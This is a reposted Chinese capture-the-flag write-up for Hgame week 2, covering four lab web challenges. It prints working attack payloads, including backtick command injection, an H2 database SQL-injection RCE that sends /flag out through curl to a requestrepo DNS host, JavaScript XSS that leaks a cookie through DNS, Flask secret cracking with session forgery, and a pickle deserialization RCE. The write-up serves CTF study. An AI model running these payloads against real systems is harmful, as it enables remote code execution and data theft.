Hgame题解(第二星期)

news2024/9/21 4:21:42

Hgame题解(第二星期)

Web

Select More Courses

打开靶机发现是一个登陆页面,根据题目提示下载弱密码字典,通过BP爆破获得用户密码为qwert123

在这里插入图片描述

登陆后进入下一个页面,由于学分已满无法选课,所以需要先进行选课扩学分申请,进入该页面提示Race against time!,需要爆破申请,与 Week 1 类似可以写python脚本进行申请,也可以使用BP的Intruder进行申请,这里采用BP

在这里插入图片描述
在经过大量申请之后网站并不会返回其他值,但是再回到选课页面时会发现学分上限提高了,也就可以自主选课了,选课很简单,选完之后就可以拿到flag

在这里插入图片描述

What the cow say?

在这里插入图片描述
这题考察的命令注入,过滤了直接的命令但是没有过滤反引号,反引号会将其包裹的内容作为命令执⾏后传回给bash

尝试ls /(左右两边要加反引号),发现能够打印根目录,并且看到了提示:flag_is_here
在这里插入图片描述
通过ls /fla""g_is_here(双引号绕过flag检测),发现下面存在文件:flag_c0w54y
在这里插入图片描述
使用ca""t /fla""g_is_here/fla""g_c0w54y即可打印出文件内容,拿到flag(通过string app.py还可以拿到网页的pyton源码)
在这里插入图片描述

search4member

题目考点:堆叠注入+ H2 database RCE漏洞

打开靶机网站发现是一个查询页面

在这里插入图片描述

下载附件,解压后在文件夹中发现Java代码(连接SQL)和数据库代码
使用?keyword=zzz%25' and 1>2 union SELECT 1,2,database();--+发现数据库名为H2(提示使用的是H2 database),该数据库有个RCE漏洞,原理是可以创建一个数据库函数 SHELLEXEC ,通过该函数可以执行命令

创建SHELLEXEC的payload:

?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+

带出flag的payload:

?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+

其中Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=解码后的意思是curl cat /flag.28zrgzsc.requestrepo.com,即拼凑域名后通过DNS带出数据,然后在DNS解析中找到对应部分的值
在这里插入图片描述

梅开二度

题目考点:Go语言的SSTI,利用XSS

分析附件源码发现程序使用的是text/template,而Go语言提供了两个模板包。一个是 text/template,另一个是html/template。text/template不对传入数据进行编码,因此该模板并不适合构建 Web 应用程序,而html/template与text/template虽然相同,但增加了HTML编码等安全保护,适用于构建web应用程序

根据提供的源代码var re = regexp.MustCompile(script|file|on),发现会过滤script、file、on
根据if len(tmplStr) > 50,说明限制payload长度小于50
根据tmplStr = html.EscapeString(tmplStr),会转义HTML字符串(也说明了可以通过tmplStr进行注入)

第一步:通过payload ?tmpl={{println 0B101101011011011110001010110}}测试是否存在SSTI,返回95272022,说明存在SSTI

第二步:通过?tmpl={{.Query Jay17}}&Jay17=<script>alert('XSS')</script>发现可以XSS

第三步:继续分析源代码,发现/bot路由用于获取url参数(前提要求url的值是本地8080端口,此处的url是参数名而不是实际的链接),/flag路由将cookie设置为flag,前提是来源为本地

思路:首先访问/bot目录,该目录提取url的值并判断是否为本地访问
(?url=http://127.0.0.1:8080)

然后在/bot这个路由下访问/flag,相当于利用/bot路由跳转了一次来满足/flag要求的本地访问(通过tmpl的JS代码实现访问),然后带出flag

初始payload模板:

/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>(这里的部分是用于实现访问的js代码,访问/flag并带出cokkie值中的flag)`</script>

由于无法使用vps反向监听,但是可以利用DNS解析地址获得该值,原理是:

如果攻击者想要泄露信息 “secret”,可能会生成一个如下的DNS查询:
secret.evil.com
在这里,evil.com 是攻击者控制的域名。当这个查询被发送时,DNS解析请求会传递给攻击者的DNS服务器。然后,攻击者可以从DNS查询中提取出 “secret” 数据。

完整payload(JS部分):

async function fetchData() {
  let x; // 用于存储从网址B获取的响应数据

  try {
    // 首先访问网址A
    const responseA = await fetch('http://127.0.0.1:8080/flag');
    const dataA = await responseA.text();
    console.log('网址A访问成功', dataA); // 显示网址A的响应数据,如果需要

    // 然后访问网址B,并将响应数据赋值给变量X
    const responseB = await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');
    x = await responseB.text();
    console.log('网址B访问成功,数据已赋值给变量X');

  } catch (error) {
    console.error('访问网址时发生错误:', error);
    return; // 出错时提前退出函数
  }

  // DNS带出
  try {
    const url = "http://jay17" + x.substring(6, 46) + ".kgb7xfn7.requestrepo.com/";
    window.open(url);
    console.log('已尝试进行DNS带出:', url);
  } catch (error) {
    console.error('DNS带出过程中发生错误:', error);
  }
}

// 调用函数
fetchData();

注意点:/bot路由和执行JS代码的两次解码,无法使用document.cookie带出cookie(因为cookie被标记为了HttpOnly,不能通过JS代码访问,只能通过http访问),由于flag里面有其他符号,导致了DNS无法带出数据(因此使用字符串截取.substring()方法,截取flag中花括号内的纯字符)

myflask

题目考点:破解并仿造session + 利用pickle模块实现RCE

打开靶机网页,发现给出了源代码,其中比较关键的是网站session密钥是基于网站开启时间生成的,也就是我们如果知道了网站的启动那一时刻,就能够获得密钥并生成自己的session,然后需要让session的username的值为admin,如此就能通过pickle反序列化执行我们的攻击命令

在这里插入图片描述
第一步:获取网站启动时间,由于这是个比赛题目,所以靶机启动时间很容易就能够得到(打开靶机那个时刻),使用以下Python脚本即可获取详细启动时间

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time

# 定义字典文件路径
wordlist_path = "wordlist.txt"

# 生成包含所有可能四位数字组合的字典,每个数字前加上前缀"17"//17为具体小时,根据自己的修改
print("Generating wordlist...")
with open(wordlist_path, "w") as f:
    # 生成并写入数字组合
    for x in itertools.product('0123456789', repeat=4):
        f.write('17' + "".join(x) + "\n")

# 示例:直接使用硬编码的cookie,实际应用中可能从响应中获取
cookie_tamper = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeBLxA.lexH-lsz7VWzLJ_nNwUcGytUsf0'//替换成自己的session
print("Got cookie: " + cookie_tamper)

# 开始破解过程
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)

# 记录破解开始时间
before = time.time()

# 使用生成的字典文件尝试破解SECRET_KEY
with wordlist(wordlist_path, parse_lines=False) as iterator:
    obj.crack(iterator)

# 如果找到了SECRET_KEY,显示结果和用时
if obj.secret:
    secret = obj.secret.decode()
    print(f"Found SECRET_KEY {secret} in {time.time()-before} seconds")

    # 使用找到的SECRET_KEY签名一个新的session数据
    new_session_data = {"time": time.time(), "authorized": True}
    signed_cookie = flask_unsign.sign(new_session_data, secret=secret)
    print(f"Signed Cookie: {signed_cookie}")

六位数字xxxxxx代表:
xx(小时)xx(分钟)xx(秒)
在这里插入图片描述

第二步:获取session结构,使用以下Python脚本,输入靶机返回的session获得结构,即{'username': 'guest'},只要我们知道了结构和密钥,我们就能够仿造出admin的session

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)
    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    # 检查并添加必要的padding
    padding = '=' * ((4 - len(payload) % 4) % 4)
    payload += padding.encode()

    try:
        payload = b64decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of an exception: ' + str(e))
    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before decoding: ' + str(e))
    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    encoded_session = "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeA6aA.wuZ6XevzyQ6X7oDKzdnrRidAToU".encode()
    print(decryption(encoded_session))

第三步:根据前面得到的{‘username’: ‘guest’}和密钥171728生成新的session,脚本代码:
from itsdangerous import URLSafeTimedSerializer

# 你的密钥和数据
secret_key = '171728'
data = {'username': 'guest'}

# 创建一个序列化器实例
serializer = URLSafeTimedSerializer(secret_key)

# 序列化数据
serialized_data = serializer.dumps(data)

print(f"Serialized session data: {serialized_data}")


在这里插入图片描述

使用以下Python生成反序列化代码,注意pickle版本一致

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('os').popen('tac /flag').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

然后利用post方法提交该生成代码(注意伪造session):pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu

即可得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1481798.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

仿牛客网项目---显示评论和添加评论功能的实现

这篇文章&#xff0c;我来介绍一下我的项目中的另外一个功能&#xff1a;显示评论和添加评论。 其实这两个功能都不怎么重要&#xff0c;我感觉最重要的应该是用户注册登录功能&#xff0c;这个也了解一下&#xff0c;知道这么一回事儿就好。 首先设计DAO层。 Mapper public …

【刷题】Leetcode 1609.奇偶树

Leetcode 1609.奇偶树 题目描述广度优先搜索&#xff08;BFS&#xff09;深度优先算法&#xff08;DFS&#xff09; 思路一&#xff08;BFS&#xff09;思路二&#xff08;DFS&#xff09;Thanks♪(&#xff65;ω&#xff65;)&#xff89;谢谢阅读&#xff01;&#xff01;&a…

配置之道:深入研究Netty中的Option选项

欢迎来到我的博客&#xff0c;代码的世界里&#xff0c;每一行都是一个故事 配置之道&#xff1a;深入研究Netty中的Option选项 前言Option的基础概念ChannelOption与Bootstrap Option常见的ChannelOption类型ChannelConfig的使用Option的生命周期不同传输协议的Option 前言 在…

【MySQL】MySQL复合查询--多表查询自连接子查询 - 副本

文章目录 1.基本查询回顾2.多表查询3.自连接4.子查询 4.1单行子查询4.2多行子查询4.3多列子查询4.4在from子句中使用子查询4.5合并查询 4.5.1 union4.5.2 union all 1.基本查询回顾 表的内容如下&#xff1a; mysql> select * from emp; ----------------------------…

Java——建造者模式(Builder)

建造者模式&#xff08;Builder&#xff09; 1、建造者模式的定义 将一个复杂对象的构建与它的表示分离&#xff0c;使得同样的构建过程可以创建不同的表示。 Builder模式是一步一步创建一个复杂对象的创建型模式&#xff0c;它允许使用者在不知道内部建造细节的情况下&…

vue3的router

需求 路由组件一般放在&#xff0c;pages或views文件夹, 一般组件通常放在component文件夹 路由的2中写法 子路由 其实就是在News组件里面&#xff0c;再定义一个router-view组件 他的子组件&#xff0c;机会渲染在router-view区域 路由传参 <RouterLink :to"/news…

Charles抓包 - 安装、激活、证书配置

最近刚好又遇到了抓包的需求&#xff0c;之前一直使用 Fiddler 抓包&#xff0c;这几年一直听大家都在用 Charles 抓包&#xff0c;正好一起了解下&#xff08;一般建议掌握一种抓包方式即可&#xff0c;都可以解决同种需求场景&#xff09; 抓包 Fiddler抓包 Charles 下载、安…

Day08:基础入门-算法分析传输加密数据格式密文存储代码混淆逆向保护

目录 传输数据-编码型&加密型等 传输格式-常规&JSON&XML等 密码存储-Web&系统&三方应用 代码混淆-源代码加密&逆向保护 思维导图 章节知识点&#xff1a; 应用架构&#xff1a;Web/APP/云应用/三方服务/负载均衡等 安全产品&#xff1a;CDN/WAF/I…

HotFix原理学习

原文链接&#xff1a;Unity 游戏用XLua的HotFix实现热更原理揭秘-CSDN博客 本文通过对XLua的HoxFix使用原理的研究揭示出来这样的一套方法。这个方法的 第一步&#xff1a;通过对C#的类与函数设置Hotfix标签。来标识需要支持热更的类和函数。第二步&#xff1a;生成函数连接器…

94. 递归实现排列型枚举 刷题笔记

思路 依次枚举 每个位置用哪个数字 要求按照字典序最小来输出 而每次搜索下一层时i都是从1开始 也就是说 如果有小的数可以填上 那么该方案会填上这个数字 例如 当n等于3 第一次搜索 1 2 3输出后返回 返回后此时i3 第二个位置填3 1 3 2 输出后返回 此时返回到第一层…

tkinterFrame框架+标签框架LabelFrame+Toplevel窗口的使用

1.在tkinter中&#xff0c;Frame是一个容器小部件用于组织和管理其他小部件。它可以作为一个独立的可见区域&#xff0c;也可以作为其他小部件的父容器。 import tkinter as tk import tkinter.ttk as ttk import tkinter.messagebox as mbm tk.Tk() m.title("tkinter L…

C 嵌入式系统设计模式 16:循环执行模式

本书的原著为&#xff1a;《Design Patterns for Embedded Systems in C ——An Embedded Software Engineering Toolkit 》&#xff0c;讲解的是嵌入式系统设计模式&#xff0c;是一本不可多得的好书。 本系列描述我对书中内容的理解。本文章描述嵌入式并发和资源管理模式之二…

Linux进程管理:(二)进程调度原语

文章说明&#xff1a; Linux内核版本&#xff1a;5.0 架构&#xff1a;ARM64 参考资料及图片来源&#xff1a;《奔跑吧Linux内核》 Linux 5.0内核源码注释仓库地址&#xff1a; zhangzihengya/LinuxSourceCode_v5.0_study (github.com) 进程调度的概念比较简单&#xff0c…

倒模专用制作耳机壳UV树脂:改性丙烯酸树脂

倒模专用制作耳机壳的UV树脂是经过改性的丙烯酸树脂&#xff0c;具有高透明度、高粘度、快速固化的特点。这种树脂可以通过紫外线光固化&#xff0c;快速形成坚硬的表面&#xff0c;并且具有较高的硬度和耐磨性&#xff0c;因此非常适合用于制作耳机壳。 此外&#xff0c;改性丙…

面试经典 150 题 ---- 轮转数组

面试经典 150 题 ---- 轮转数组 轮转数组方法一&#xff1a;使用额外的数组方法二&#xff1a;数组翻转 轮转数组 方法一&#xff1a;使用额外的数组 我们可以使用额外的数组来将每个元素放至正确的位置。用 n 表示数组的长度&#xff0c;我们遍历原数组&#xff0c;将原数组…

Java SE:多线程(Thread)

1. 线程两个基本概念 并发&#xff1a;即线程交替运行多个指令并行&#xff1a;即多个线程同时运行指令 并发并行不矛盾&#xff0c;两者可同时发生&#xff0c;即多个线程交替运行指令 2. 多线程3种实现方式 2.1 直接创建线程对象 /*** 方式1&#xff1a;* 1. 创建thread类的…

MySQL表分区技术介绍

目录 1. 分区概述 1.1 表分区 1.2 表分区与分表的区别 1.3 表分区的好处 1.4 分区表的限制因素 2. 如何判断当前MySQL是否支持分区&#xff1f; 3. 分区类型详解 3.1 MySQL支持分区类型 3.2 RANGE分区 3.2.1 根据数值范围分区 3.2.2 根据TIMESTAMP范围分区 3.2.3 根…

鸿蒙Harmony应用开发—ArkTS声明式开发(点击事件)

组件被点击时触发的事件。 说明&#xff1a; 从API Version 7开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 onClick onClick(event: (event: ClickEvent) > void) 点击动作触发该回调。 卡片能力&#xff1a; 从API version 9开始…

Python列表的合并、重复、判断与切片操作你学会了吗

1.合并列表 通过 实现 list1 ["佛跳墙", "肠粉", "刀削面", "烤鸭"]list2 [32, 4, 5, 7.43, True]list3 list1 list2print(list3) # [佛跳墙, 肠粉, 刀削面, 烤鸭, 32, 4, 5, 7.43, True] 2.重复输出列表中的元素 通过 * 实…

webstorm 创建运行纯Typescript项目

创建一个空项目&#xff0c;在项目根目录创建一个tsconfig.json文件自动配置&#xff1a; 打开终端输入tsc --init&#xff0c;即可自动生成tsconfig.json文件手动配置&#xff1a; 在项目根目录下新建一个tsconfig.json文件,并配置如下内容 具体配置可以直接使用下面的配置&am…